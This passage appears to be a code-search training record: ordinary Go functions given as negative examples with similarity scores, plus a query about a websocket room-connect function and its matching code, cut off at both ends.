[]*indexer.FileInfo\n\terr := json.NewDecoder(ctx.req.Body).Decode(&files)\n\tif err != nil {\n\t\tctx.Error(400, err)\n\t\treturn\n\t}\n\n\tif isClean {\n\t\t_, err := orm.Where(\"device_id = ?\", devID).Delete(&indexer.FileInfo{})\n\t\tif err != nil {\n\t\t\tctx.Error(500, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\tinsrt := []interface{}{}\n\tfor _, file := range files {\n\t\tfile.DeviceID = devID\n\t\tinsrt = append(insrt, file)\n\t}\n\n\tn, err := orm.Insert(insrt...)\n\tif err != nil {\n\t\tctx.Error(500, err)\n\t\treturn\n\t}\n\n\tctx.Message(201, n)\n}", "func (r *ReportTaskRequest) SetPlanId(planId string) {\n r.PlanId = &planId\n}", "func (mmSetIndex *mIndexModifierMockSetIndex) Set(f func(ctx context.Context, pn insolar.PulseNumber, index record.Index) (err error)) *IndexModifierMock {\n\tif mmSetIndex.defaultExpectation != nil {\n\t\tmmSetIndex.mock.t.Fatalf(\"Default expectation is already set for the IndexModifier.SetIndex method\")\n\t}\n\n\tif len(mmSetIndex.expectations) > 0 {\n\t\tmmSetIndex.mock.t.Fatalf(\"Some expectations are already set for the IndexModifier.SetIndex method\")\n\t}\n\n\tmmSetIndex.mock.funcSetIndex = f\n\treturn mmSetIndex.mock\n}", "func (feature Feature) SetGeometryFieldDirectly(index int, geom Geometry) error {\n\treturn C.OGR_F_SetGeomFieldDirectly(feature.cval, C.int(index), geom.cval).Err()\n}", "func (m *ServicePlanInfo) SetServicePlanId(value *string)() {\n m.servicePlanId = value\n}", "func (m *VirtualEndpoint) SetFrontLineServicePlans(value []CloudPcFrontLineServicePlanable)() {\n err := m.GetBackingStore().Set(\"frontLineServicePlans\", value)\n if err != nil {\n panic(err)\n }\n}", "func (pw *PixelWand) SetIndex(index *IndexPacket) {\n\tC.PixelSetIndex(pw.pw, C.IndexPacket(*index))\n\truntime.KeepAlive(pw)\n}", "func (p *tsdbBasedPlanner) Plan(_ context.Context, metasByMinTime []*metadata.Meta, _ chan error, _ any) ([]*metadata.Meta, error) {\n\treturn p.plan(p.noCompBlocksFunc(), metasByMinTime)\n}", "func EnableSharedCache(b bool) error {\n\trv := C.sqlite3_enable_shared_cache(btocint(b))\n\tif rv == C.SQLITE_OK {\n\t\treturn nil\n\t}\n\treturn Errno(rv)\n}", "func (_Ethdkg *EthdkgTransactor) SubmitKeyShare(opts *bind.TransactOpts, issuer common.Address, key_share_G1 [2]*big.Int, key_share_G1_correctness_proof [2]*big.Int, key_share_G2 [4]*big.Int) (*types.Transaction, error) {\n\treturn _Ethdkg.contract.Transact(opts, \"submit_key_share\", issuer, key_share_G1, key_share_G1_correctness_proof, key_share_G2)\n}", "func (s *shareDB) WriteShareRecords(\n\tctx context.Context,\n\tcfgDgst ocrtypes.ConfigDigest,\n\tkeyID [32]byte,\n\tshareRecords []ocr2vrftypes.PersistentShareSetRecord,\n) error {\n\tlggr := s.lggr.With(\n\t\t\"configDigest\", hexutil.Encode(cfgDgst[:]),\n\t\t\"keyID\", hexutil.Encode(keyID[:]))\n\n\tstart := time.Now()\n\tdefer func() {\n\t\tduration := time.Since(start)\n\t\tpromWriteShareRecords.WithLabelValues(s.chainType, s.chainID.String()).Observe(float64(duration))\n\t\t// lggr.Debugw(\"Inserted DKG shares into DB\", \"duration\", duration) // see ocr2vrf code for logs\n\t}()\n\n\tvar named []dkgShare\n\tfor _, record := range shareRecords {\n\t\tif bytes.Equal(record.Hash[:], zeroHash[:]) {\n\t\t\t// see ocr2vrf for logging\n\t\t\t// lggr.Warnw(\"skipping record with zero hash\",\n\t\t\t// \t\"player\", record.Dealer.String(),\n\t\t\t// \t\"hash\", hexutil.Encode(record.Hash[:]),\n\t\t\t// )\n\t\t\tcontinue\n\t\t}\n\n\t\t// XXX: this might be expensive, but is a good sanity check.\n\t\tlocalHash := hash.GetHash(record.MarshaledShareRecord)\n\t\tif !bytes.Equal(record.Hash[:], localHash[:]) {\n\t\t\treturn fmt.Errorf(\"local hash doesn't match given hash in record, expected: %x, got: %x\",\n\t\t\t\tlocalHash[:], record.Hash[:])\n\t\t}\n\n\t\tvar h hash.Hash\n\t\tif copied := copy(h[:], record.Hash[:]); copied != 32 {\n\t\t\treturn fmt.Errorf(\"wrong number of bytes copied in hash (dealer:%s) %x: %d\",\n\t\t\t\trecord.Dealer.String(), record.Hash[:], copied)\n\t\t}\n\n\t\tnamed = append(named, dkgShare{\n\t\t\tConfigDigest: cfgDgst[:],\n\t\t\tKeyID: keyID[:],\n\t\t\tDealer: record.Dealer.Marshal(),\n\t\t\tMarshaledShareRecord: record.MarshaledShareRecord,\n\t\t\t/* TODO/WTF: can't do \"record.Hash[:]\": this leads to store the last record's hash for all the records! */\n\t\t\tRecordHash: h[:],\n\t\t})\n\t}\n\n\tif len(named) == 0 {\n\t\tlggr.Infow(\"No valid share records to insert\")\n\t\treturn nil\n\t}\n\n\t// see ocr2vrf for logging\n\t// lggr.Infow(\"Inserting DKG shares into DB\",\n\t// \t\"shareHashes\", shareHashes(shareRecords),\n\t// \t\"numRecords\", len(shareRecords),\n\t// \t\"numNamed\", len(named))\n\n\t// Always upsert because we want the number of rows in the table to match\n\t// the number of members of the committee.\n\tquery := `\nINSERT INTO dkg_shares (config_digest, key_id, dealer, marshaled_share_record, record_hash)\nVALUES (:config_digest, :key_id, :dealer, :marshaled_share_record, :record_hash)\nON CONFLICT ON CONSTRAINT dkg_shares_pkey\nDO UPDATE SET marshaled_share_record = EXCLUDED.marshaled_share_record, record_hash = EXCLUDED.record_hash\n`\n\treturn s.q.ExecQNamed(query, named[:])\n}", "func (item *queueItem) setIndexState(state indexState) {\n\tif state == item.indexState {\n\t\treturn\n\t}\n\tif item.indexState != \"\" {\n\t\tmetricIndexState.WithLabelValues(string(item.indexState)).Dec()\n\t}\n\titem.indexState = state\n\tif item.indexState != \"\" {\n\t\tmetricIndexState.WithLabelValues(string(item.indexState)).Inc()\n\t}\n}", "func (s *storageMgr) updateIndexSnapMap(indexPartnMap IndexPartnMap,\n\tstreamId common.StreamId, keyspaceId string) {\n\n\ts.muSnap.Lock()\n\tdefer s.muSnap.Unlock()\n\n\tfor idxInstId, partnMap := range indexPartnMap {\n\t\tidxInst := s.indexInstMap.Get()[idxInstId]\n\t\ts.updateIndexSnapMapForIndex(idxInstId, idxInst, partnMap, streamId, keyspaceId)\n\t}\n}", "func (p *Planner) Plan(replicasToDistribute int64, availableClusters []string) map[string]int64 {\n\tpreferences := make([]*namedClusterReplicaSetPreferences, 0, len(availableClusters))\n\tplan := make(map[string]int64, len(preferences))\n\n\tnamed := func(name string, pref fed_api.ClusterReplicaSetPreferences) *namedClusterReplicaSetPreferences {\n\t\treturn &namedClusterReplicaSetPreferences{\n\t\t\tclusterName: name,\n\t\t\tClusterReplicaSetPreferences: pref,\n\t\t}\n\t}\n\n\tfor _, cluster := range availableClusters {\n\t\tif localRSP, found := p.preferences.Clusters[cluster]; found {\n\t\t\tpreferences = append(preferences, named(cluster, localRSP))\n\t\t} else {\n\t\t\tif localRSP, found := p.preferences.Clusters[\"*\"]; found {\n\t\t\t\tpreferences = append(preferences, named(cluster, localRSP))\n\t\t\t} else {\n\t\t\t\tplan[cluster] = int64(0)\n\t\t\t}\n\t\t}\n\t}\n\tsort.Sort(byWeight(preferences))\n\n\tremainingReplicas := replicasToDistribute\n\n\t// Assign each cluster the minimum number of replicas it requested.\n\tfor _, preference := range preferences {\n\t\tmin := minInt64(preference.MinReplicas, remainingReplicas)\n\t\tremainingReplicas -= min\n\t\tplan[preference.clusterName] = min\n\t}\n\n\tmodified := true\n\n\t// It is possible single pass of the loop is not enough to distribue all replicas among clusters due\n\t// to weight, max and rounding corner cases. In such case we iterate until either\n\t// there is no replicas or no cluster gets any more replicas or the number\n\t// of attempts is less than available cluster count. Every loop either distributes all remainingReplicas\n\t// or maxes out at least one cluster.\n\t// TODO: This algorithm is O(clusterCount^2). When needed use sweep-like algorithm for O(n log n).\n\tfor trial := 0; trial < len(availableClusters) && modified && remainingReplicas > 0; trial++ {\n\t\tmodified = false\n\t\tweightSum := int64(0)\n\t\tfor _, preference := range preferences {\n\t\t\tweightSum += preference.Weight\n\t\t}\n\t\tnewPreferences := make([]*namedClusterReplicaSetPreferences, 0, len(preferences))\n\n\t\tdistributeInThisLoop := remainingReplicas\n\t\tfor _, preference := range preferences {\n\t\t\tif weightSum > 0 {\n\t\t\t\tstart := plan[preference.clusterName]\n\t\t\t\t// Distribute the remaining replicas, rounding fractions always up.\n\t\t\t\textra := (distributeInThisLoop*preference.Weight + weightSum - 1) / weightSum\n\t\t\t\textra = minInt64(extra, remainingReplicas)\n\t\t\t\t// In total there should be the amount that was there at start plus whatever is due\n\t\t\t\t// in this iteration\n\t\t\t\ttotal := start + extra\n\n\t\t\t\t// Check if we don't overflow the cluster, and if yes don't consider this cluster\n\t\t\t\t// in any of the following iterations.\n\t\t\t\tif preference.MaxReplicas != nil && total > *preference.MaxReplicas {\n\t\t\t\t\ttotal = *preference.MaxReplicas\n\t\t\t\t} else {\n\t\t\t\t\tnewPreferences = append(newPreferences, preference)\n\t\t\t\t}\n\n\t\t\t\t// Only total-start replicas were actually taken.\n\t\t\t\tremainingReplicas -= (total - start)\n\t\t\t\tplan[preference.clusterName] = total\n\n\t\t\t\t// Something extra got scheduled on this cluster.\n\t\t\t\tif total > start {\n\t\t\t\t\tmodified = true\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tpreferences = newPreferences\n\t}\n\n\treturn plan\n}", "func (p *PhysicalIndexLookUpReader) Clone() (PhysicalPlan, error) {\n\tcloned := new(PhysicalIndexLookUpReader)\n\tbase, err := p.physicalSchemaProducer.cloneWithSelf(cloned)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcloned.physicalSchemaProducer = *base\n\tif cloned.IndexPlans, err = clonePhysicalPlan(p.IndexPlans); err != nil {\n\t\treturn nil, err\n\t}\n\tif cloned.TablePlans, err = clonePhysicalPlan(p.TablePlans); err != nil {\n\t\treturn nil, err\n\t}\n\tif cloned.indexPlan, err = p.indexPlan.Clone(); err != nil {\n\t\treturn nil, err\n\t}\n\tif cloned.tablePlan, err = p.tablePlan.Clone(); err != nil {\n\t\treturn nil, err\n\t}\n\tif p.ExtraHandleCol != nil {\n\t\tcloned.ExtraHandleCol = p.ExtraHandleCol.Clone().(*expression.Column)\n\t}\n\tif p.PushedLimit != nil {\n\t\tcloned.PushedLimit = p.PushedLimit.Clone()\n\t}\n\treturn cloned, nil\n}", "func (o ServiceBusQueueOutputDataSourceOutput) SharedAccessPolicyKey() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v ServiceBusQueueOutputDataSource) *string { return v.SharedAccessPolicyKey }).(pulumi.StringPtrOutput)\n}", "func ShareLists(hrcSrvShare unsafe.Pointer, hrcSrvSource unsafe.Pointer) unsafe.Pointer {\n\tret, _, _ := syscall.Syscall(gpShareLists, 2, uintptr(hrcSrvShare), uintptr(hrcSrvSource), 0)\n\treturn (unsafe.Pointer)(ret)\n}", "func (ouq *OrgUnitQuery) ForShare(opts ...sql.LockOption) *OrgUnitQuery {\n\tif ouq.driver.Dialect() == dialect.Postgres {\n\t\touq.Unique(false)\n\t}\n\touq.modifiers = append(ouq.modifiers, func(s *sql.Selector) {\n\t\ts.ForShare(opts...)\n\t})\n\treturn ouq\n}", "func (r *ReconciliationTask) areSMPlansSame(plans []*types.ServicePlan) bool {\n\tcachedPlans, isPresent := r.cache.Get(smPlansCacheKey)\n\tif !isPresent {\n\t\treturn false\n\t}\n\tcachedPlansMap, ok := cachedPlans.(map[string]*types.ServicePlan)\n\tif !ok {\n\t\tlog.C(r.runContext).Error(\"SM plans cache is in invalid state! Clearing...\")\n\t\tr.cache.Delete(smPlansCacheKey)\n\t\treturn false\n\t}\n\tif len(cachedPlansMap) != len(plans) {\n\t\treturn false\n\t}\n\tfor _, plan := range plans {\n\t\tif cachedPlansMap[plan.ID] == nil {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}", "func (_Ethdkg *EthdkgTransactorSession) SubmitKeyShare(issuer common.Address, key_share_G1 [2]*big.Int, key_share_G1_correctness_proof [2]*big.Int, key_share_G2 [4]*big.Int) (*types.Transaction, error) {\n\treturn _Ethdkg.Contract.SubmitKeyShare(&_Ethdkg.TransactOpts, issuer, key_share_G1, key_share_G1_correctness_proof, key_share_G2)\n}", "func (m *VirtualEndpoint) GetSharedUseServicePlans()([]CloudPcSharedUseServicePlanable) {\n val, err := m.GetBackingStore().Get(\"sharedUseServicePlans\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.([]CloudPcSharedUseServicePlanable)\n }\n return nil\n}", "func (e *Engine) setIndex(index int64) {\n\te.Index = index\n\te.Name = naming.Name(index)\n}", "func (m *GroupPolicyDefinition) SetExplainText(value *string)() {\n err := m.GetBackingStore().Set(\"explainText\", value)\n if err != nil {\n panic(err)\n }\n}", "func (_Mcapscontroller *McapscontrollerSession) PrepareIndexPool(categoryID *big.Int, indexSize *big.Int, initialWethValue *big.Int, name string, symbol string) (*types.Transaction, error) {\n\treturn _Mcapscontroller.Contract.PrepareIndexPool(&_Mcapscontroller.TransactOpts, categoryID, indexSize, initialWethValue, name, symbol)\n}", "func (p Pin) Set(high bool) {\n\tport := p.getPort()\n\tpin := uint8(p) % 16\n\tif high {\n\t\tport.BSRR.Set(1 << pin)\n\t} else {\n\t\tport.BSRR.Set(1 << (pin + 16))\n\t}\n}" ]
[ "0.5508997", "0.4687285", "0.46098685", "0.457603", "0.45092627", "0.4443509", "0.44185206", "0.43938205", "0.4389649", "0.43742532", "0.436676", "0.43441278", "0.4297439", "0.4283038", "0.4213906", "0.42068422", "0.41900006", "0.4182438", "0.4169572", "0.4110821", "0.41070658", "0.40857786", "0.4049184", "0.40187603", "0.4017184", "0.40026733", "0.39939034", "0.39894715", "0.39891073", "0.39777386", "0.39688313", "0.39686337", "0.39642996", "0.39626378", "0.39540356", "0.39451477", "0.39312115", "0.39250594", "0.3919632", "0.39150533", "0.39090136", "0.38873348", "0.38702562", "0.3855748", "0.3854705", "0.38500935", "0.38169894", "0.3816005", "0.38058573", "0.38049155", "0.38007838", "0.37986043", "0.37907737", "0.37862927", "0.37852824", "0.3782458", "0.37797725", "0.3774901", "0.3766048", "0.37631744", "0.3760078", "0.37510684", "0.37429246", "0.37418622", "0.3737859", "0.3736371", "0.37351704", "0.37318066", "0.373157", "0.3730834", "0.37247846", "0.3717952", "0.37138483", "0.37137526", "0.37063548", "0.37062302", "0.37035805", "0.37002057", "0.36828652", "0.36819252", "0.36796257", "0.36761224", "0.36706308", "0.36697635", "0.366855", "0.3653473", "0.3648079", "0.36468428", "0.36460182", "0.36429217", "0.3640725", "0.3640551", "0.36391518", "0.36379", "0.36265096", "0.3626205", "0.3618211", "0.36154944", "0.3614456", "0.36133763" ]
0.7447591
0
Connect is a blocking function that reads the message from broadcast with roomID and then push it to the out channel
func Connect(ctx context.Context, roomID int64, out chan *Message) { err := connect(ctx, roomID, out) if err != nil { fmt.Printf("danmu/websocket: [%d] %v\n", roomID, err) } select { case <-ctx.Done(): return default: time.AfterFunc(reconnectDelay+time.Duration(rand.Int31n(100)), func() { fmt.Printf("danmu/websocket: [%d] reconnect...\n", roomID) Connect(ctx, roomID, out) }) } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func ConnectToRoom(token string, info chan<- ServerMessage) {\n\tstatus := \"\"\n\n\tconn, err := net.Dial(connType, host+\":\"+port)\n\tif err != nil {\n\t\tinfo <- ServerMessage{nil, false, \"\", \"error when connecting\"}\n\t\treturn\n\t}\n\tfmt.Fprintf(conn, \"connect\\n\")\n\tfmt.Fprintf(conn, \"%s\\n\", token)\n\tvar msg string\n\tfmt.Fscan(conn, &msg)\n\tvar isSecond bool\n\tif msg == \"second\" {\n\t\tisSecond = true\n\t} else if msg == \"first\" {\n\t\tisSecond = false\n\t} else if msg == \"wrong_token\" {\n\t\tstatus = msg\n\t}\n\tinfo <- ServerMessage{conn, isSecond, \"\", status}\n}", "func (mon *SocketMonitor) Connect() error {\n\tenc := json.NewEncoder(mon.c)\n\tdec := json.NewDecoder(mon.c)\n\n\t// Check for banner on startup\n\tvar ban banner\n\tif err := dec.Decode(&ban); err != nil {\n\t\treturn err\n\t}\n\tmon.Version = &ban.QMP.Version\n\tmon.Capabilities = ban.QMP.Capabilities\n\n\t// Issue capabilities handshake\n\tcmd := Command{Execute: qmpCapabilities}\n\tif err := enc.Encode(cmd); err != nil {\n\t\treturn err\n\t}\n\n\t// Check for no error on return\n\tvar r response\n\tif err := dec.Decode(&r); err != nil {\n\t\treturn err\n\t}\n\tif err := r.Err(); err != nil {\n\t\treturn err\n\t}\n\n\t// Initialize socket listener for command responses and asynchronous\n\t// events\n\tevents := make(chan Event)\n\tstream := make(chan streamResponse)\n\tgo mon.listen(mon.c, events, stream)\n\n\tmon.events = events\n\tmon.stream = stream\n\n\treturn nil\n}", "func (bili *BiliClient) Connect(rid int) error {\n\troomID, err := getRealRoomID(rid)\n\tif err != nil {\n\t\tlog.Println(\"client Connect \" + err.Error())\n\t\treturn errors.New(\"无法获取房间真实ID: \" + err.Error())\n\t}\n\n\tu := url.URL{Scheme: \"ws\", Host: serverAddr, Path: \"/sub\"}\n\n\tif bili.serverConn, _, err = websocket.DefaultDialer.Dial(u.String(), nil); err != nil {\n\t\tlog.Println(\"client Connect \" + err.Error())\n\t\treturn errors.New(\"Cannot dail websocket: \" + err.Error())\n\t}\n\tbili.roomID = roomID\n\n\tif err := bili.sendJoinChannel(roomID); err != nil {\n\t\treturn errors.New(\"Cannot send join channel: \" + err.Error())\n\t}\n\tbili.setConnect(true)\n\n\tgo bili.heartbeatLoop()\n\tgo bili.receiveMessages()\n\treturn nil\n}", "func (ch *InternalChannel) Connect(c *Client) {}", "func (ch *ServerChannel) Connect(c *Client) {}", "func OnConnect(c websocket.Connection) {\n\t//Join 线程隔离\n\tfmt.Println(c.Context().String())\n\n\tfmt.Println(c.Context().GetHeader(\"Connection\"))\n\tfmt.Println(c.Context().GetHeader(\"Sec-Websocket-Key\"))\n\tfmt.Println(c.Context().GetHeader(\"Sec-Websocket-Version\"))\n\tfmt.Println(c.Context().GetHeader(\"Upgrade\"))\n\n\t//Join将此连接注册到房间,如果它不存在则会创建一个新房间。一个房间可以有一个或多个连接。一个连接可以连接到许多房间。所有连接都自动连接到由“ID”指定的房间。\n\tc.Join(\"room1\")\n\t// Leave从房间中删除此连接条目//如果连接实际上已离开特定房间,则返回true。\n\tdefer c.Leave(\"room1\")\n\n\t//获取路径中的query数据\n\tfmt.Println(\"namespace:\",c.Context().FormValue(\"namespace\"))\n\tfmt.Println(\"nam:\",c.Context().FormValue(\"name\"))\n\n\t//收到消息的事件。bytes=收到客户端发送的消息\n\tc.OnMessage(func(bytes []byte) {\n\t\tfmt.Println(\"client:\",string(bytes))\n\n\t\t//循环向连接的客户端发送数据\n\t\tvar i int\n\t\tfor {\n\t\t\ti++\n\t\t\tc.EmitMessage([]byte(fmt.Sprintf(\"=============%d==========\",i))) // ok works too\n\t\t\ttime.Sleep(time.Second)\n\t\t}\n\t})\n}", "func connect() net.Conn {\n\t//connection, err := net.Dial(\"unix\", \"/var/www/bot/irc/sock\")\n\tconnection, err := net.Dial(\"tcp\", \"localhost:8765\")\n\n\t//\tsendCommand(connection, \"PASS\", password)\n\t//\tsendCommand(connection, \"USER\", fmt.Sprintf(\"%s 8 * :%s\\r\\n\", nickname, nickname))\n\t//\tsendCommand(connection, \"NICK\", nickname)\n\t//\tfmt.Println(\"Registration sent\")\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tjoinChannels(connection)\n\n\treturn connection\n}", "func (c *CommunicationClient) Connect() error{\r\n\r\n if c.conn != nil{\r\n if c.conn.IsClosed() {\r\n conn, err := amqp.Dial(c.host)\r\n\r\n if err != nil {\r\n return err\r\n }\r\n\r\n ch, err := conn.Channel()\r\n\r\n if err != nil {\r\n return err\r\n }\r\n\r\n c.conn = conn\r\n c.ch = ch\r\n\r\n return nil\r\n }else{\r\n\r\n ch, err := c.conn.Channel()\r\n\r\n if err != nil {\r\n return err\r\n }\r\n\r\n c.ch = ch\r\n\r\n return nil\r\n }\r\n }else{\r\n conn, err := amqp.Dial(c.host)\r\n\r\n if err != nil {\r\n return err\r\n }\r\n\r\n ch, err := conn.Channel()\r\n\r\n if err != nil {\r\n return err\r\n }\r\n\r\n c.conn = conn\r\n c.ch = ch\r\n\r\n return nil\r\n }\r\n\r\n\r\n}", "func Connect(peer *Peer) {\n conn, or := net.Dial(\"tcp\", peer.Addr)\n m := maddr // TODO: Set a proper message here\n\n if !e.Rr(or, false) {\n handshake(conn, peer.PublicKey, m)\n fmt.Println(\"Successfully connected to peer: \" + conn.RemoteAddr().String())\n // This is how we distinguish between if they have contacted us or not\n // Once we have connected to them, we can send them messages (they might ignore us though)\n if peer.Status == \"authrec\" {\n peer.Status = \"authenticated\"\n } else {\n peer.Status = \"authsent\"\n }\n peer.Conn = conn\n }\n}", "func (this *Client) handleConnect(addr string) {\n\tclient_addr, err := net.ResolveUDPAddr(\"udp\", addr)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\tserver_addr, _ := net.ResolveUDPAddr(\"udp\", config.Cfg.Client.UdpAddress)\n\tconn, err := net.ListenUDP(\"udp\", nil)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\tdefer conn.Close()\n\t// tell B client your remote address by send your id to server\n\tn, err := conn.WriteTo([]byte(this.id), server_addr)\n\tif err != nil {\n\t\tlog.Println(n, err)\n\t\treturn\n\t}\n\tss := strings.Fields(config.Cfg.Client.Command)\n\tcmd := exec.Command(ss[0], ss[1:]...)\n\tstdin, _ := cmd.StdinPipe()\n\tstdout, _ := cmd.StdoutPipe()\n\tstderr, _ := cmd.StderrPipe()\n\terr = cmd.Start()\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\twr := NewIoUDP(conn, client_addr)\n\tWaitAny(func(c chan bool) {\n\t\tForwardUDP(wr, stdin, time.Duration(config.Cfg.Client.ReadTimeOut)*time.Second)\n\t\tc <- true\n\t}, func(c chan bool) {\n\t\tForward(stdout, wr)\n\t\tc <- true\n\t}, func(c chan bool) {\n\t\tForward(stderr, wr)\n\t\tc <- true\n\t})\n\tcmd.Process.Kill()\n\tlog.Println(addr, \"disconnect\")\n}", "func (tc TwitchChat) Connect() string {\n\ttcURL := \"ws://irc-ws.chat.twitch.tv:80\"\n\tc, _, err := websocket.DefaultDialer.Dial(tcURL, nil)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tauth := make(chan isAuth)\n\tgo tc.run(c)\n\tgo func() {\n\t\ttc.send <- fmt.Sprintf(\"PASS oauth:%s\", tc.OAuth)\n\t\ttc.send <- fmt.Sprintf(\"NICK %s\", tc.Username)\n\t\tfor {\n\t\t\t_, msg, err := c.ReadMessage()\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\traw := string(msg[:])\n\t\t\tircMsg := irc.ParseMessage(raw)\n\t\t\t// fmt.Println(ircMsg.Params)\n\t\t\tswitch ircMsg.Command {\n\t\t\tcase \"001\":\n\t\t\t\tfmt.Println(\"succ\")\n\t\t\t\tpair := isAuth{\n\t\t\t\t\trawMsg: raw,\n\t\t\t\t\tsucc: true,\n\t\t\t\t}\n\t\t\t\tauth <- pair\n\t\t\t\tbreak\n\t\t\tcase \"NOTICE\":\n\t\t\t\trawUnder := strings.ToLower(raw)\n\t\t\t\tisFail := strings.Contains(rawUnder, \"failed\")\n\t\t\t\tif isFail == true {\n\t\t\t\t\tauth <- isAuth{\n\t\t\t\t\t\trawMsg: raw,\n\t\t\t\t\t\tsucc: false,\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\tdefault:\n\t\t\t\t{\n\t\t\t\t\tname := ircMsg.Params[0]\n\t\t\t\t\tif channel, ok := tc.channels[name]; ok {\n\t\t\t\t\t\terr := channel.HandleMsg(ircMsg.Command, ircMsg)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tfmt.Println(err)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}()\n\n\tsucc := <-auth\n\tif succ.succ == true {\n\t\treturn succ.rawMsg\n\t}\n\tpanic(succ.rawMsg)\n}", "func (rhost *rhostData) cmdConnect(rec *receiveData) {\n\n\t// Parse cmd connect data\n\tpeer, addr, port, err := rhost.cmdConnectData(rec)\n\tif err != nil {\n\t\treturn\n\t}\n\n\t// Does not process this command if peer already connected\n\tif _, ok := rhost.teo.arp.find(peer); ok {\n\t\tteolog.DebugVv(MODULE, \"peer\", peer, \"already connected, suggests address\",\n\t\t\taddr, \"port\", port)\n\t\treturn\n\t}\n\n\t// Does not create connection if connection with this address an port\n\t// already exists\n\tif _, ok := rhost.teo.arp.find(addr, int(port), 0); ok {\n\t\tteolog.DebugVv(MODULE, \"connection\", addr, int(port), 0, \"already exsists\")\n\t\treturn\n\t}\n\n\tgo func() {\n\t\trhost.teo.wg.Add(1)\n\t\tdefer rhost.teo.wg.Done()\n\t\t// Create new connection\n\t\ttcd := rhost.teo.td.ConnectChannel(addr, int(port), 0)\n\n\t\t// Replay to address received in command data\n\t\trhost.teo.sendToTcd(tcd, CmdNone, []byte{0})\n\n\t\t// Disconnect this connection if it does not added to peers arp table during timeout\n\t\t//go func(tcd *trudp.ChannelData) {\n\t\ttime.Sleep(1500 * time.Millisecond)\n\t\tif !rhost.running {\n\t\t\tteolog.DebugVv(MODULE, \"channel discovery task finished...\")\n\t\t\treturn\n\t\t}\n\t\tif _, ok := rhost.teo.arp.find(tcd); !ok {\n\t\t\tteolog.DebugVv(MODULE, \"connection\", addr, int(port), 0,\n\t\t\t\t\"with peer does not established during timeout\")\n\t\t\ttcd.Close()\n\t\t\treturn\n\t\t}\n\t}()\n}", "func (c *Controller) Connect(addr string) error {\n\tpeers, err := c.cHandler.Dial(addr)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor _, peer := range peers {\n\t\tc.chatroom.AddPeer(peer)\n\t}\n\treturn nil\n}", "func (c *SDKActor) Connect(address string) string {\n resultChan := make(chan string, 0)\n c.actions <- func() {\n fmt.Printf(\"Can open connection to %s\", address)\n\n result := c.execute(address)\n\n resultChan <- result\n }\n return <-resultChan\n}", "func (conn *Conn) Join(channel string) { conn.Raw(JOIN + \" \" + channel) }", "func (c *Conn) joinChennel() {\n\ttime.Sleep(time.Second * 2)\n\tc.SendMsg(c.joinMsg)\n}", "func (c *Config) connect() {\n\tc.emitEvent(Event{Type: EventConnected})\n}", "func (ch *Channel) Connect(c *Client) {\n ch.Clients.Store(c.Id, c)\n}", "func (l *Logic) Connect(c context.Context, server, cookie string, token []byte) (mid int64, sn, roomID string, accepts []int32, hb int64, err error) {\n\tvar params model.AuthToken\n\tif err = json.Unmarshal(token, &params); err != nil {\n\t\tlog.Errorf(\"json.Unmarshal(%s) error(%v)\", token, err)\n\t\treturn\n\t}\n\n\tdevice, err := l.dao.DeviceAuthOnline(&params)\n\tif err != nil {\n\t\tlog.Errorf(\"l.dao.DeviceAuthOnline(%vparams) error(%v)\", params, err)\n\t\treturn\n\t}\n\tmid = int64(device.ID)\n\troomID = \"\"\n\thb = int64(l.c.Node.Heartbeat) * int64(l.c.Node.HeartbeatMax)\n\tsn = device.Sn\n\tif err = l.dao.AddMapping(c, mid, sn, server); err != nil {\n\t\tlog.Errorf(\"l.dao.AddMapping(%d,%s,%s) error(%v)\", mid, sn, server, err)\n\t}\n\tlog.Infof(\"conn connected sn:%s server:%s mid:%d token:%s roomID:%s\", sn, server, mid, token, roomID)\n\treturn\n}", "func (i *IRC) Connect(genesisID BlockID, port int, addrChan chan<- string) error {\n\tnick, err := generateRandomNick()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tnumReg, err := regexp.Compile(\"[^0-9]+\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ti.conn = irc.IRC(nick, strconv.Itoa(port))\n\ti.conn.UseTLS = true\n\ti.conn.TLSConfig = &tls.Config{InsecureSkipVerify: true}\n\n\tvar channel string\n\ti.conn.AddCallback(\"001\", func(e *irc.Event) {\n\t\tn := mrand.Intn(10)\n\t\tchannel = generateChannelName(genesisID, n)\n\t\tlog.Printf(\"Joining channel %s\\n\", channel)\n\t\ti.conn.Join(channel)\n\t})\n\ti.conn.AddCallback(\"366\", func(e *irc.Event) {\n\t\tlog.Printf(\"Joined channel %s\\n\", channel)\n\t\ti.conn.Who(channel)\n\t})\n\ti.conn.AddCallback(\"352\", func(e *irc.Event) {\n\t\tif e.Arguments[5] == nick {\n\t\t\treturn\n\t\t}\n\t\tport := numReg.ReplaceAllString(e.Arguments[2], \"\")\n\t\thost := e.Arguments[3]\n\t\tif len(port) != 0 && port != \"0\" {\n\t\t\tpeer := host + \":\" + port\n\t\t\taddrChan <- peer\n\t\t}\n\t})\n\ti.conn.AddCallback(\"JOIN\", func(e *irc.Event) {\n\t\tif e.Nick == nick {\n\t\t\treturn\n\t\t}\n\t\tport := numReg.ReplaceAllString(e.User, \"\")\n\t\thost := e.Host\n\t\tif len(port) != 0 && port != \"0\" {\n\t\t\tpeer := host + \":\" + port\n\t\t\taddrChan <- peer\n\t\t}\n\t})\n\n\treturn i.conn.Connect(Server)\n}", "func (ws *WS) Connect(send, receive chan *RawMessage, stop chan bool) error {\n\turl, err := ws.getWebsocketURL(false)\n\tif err 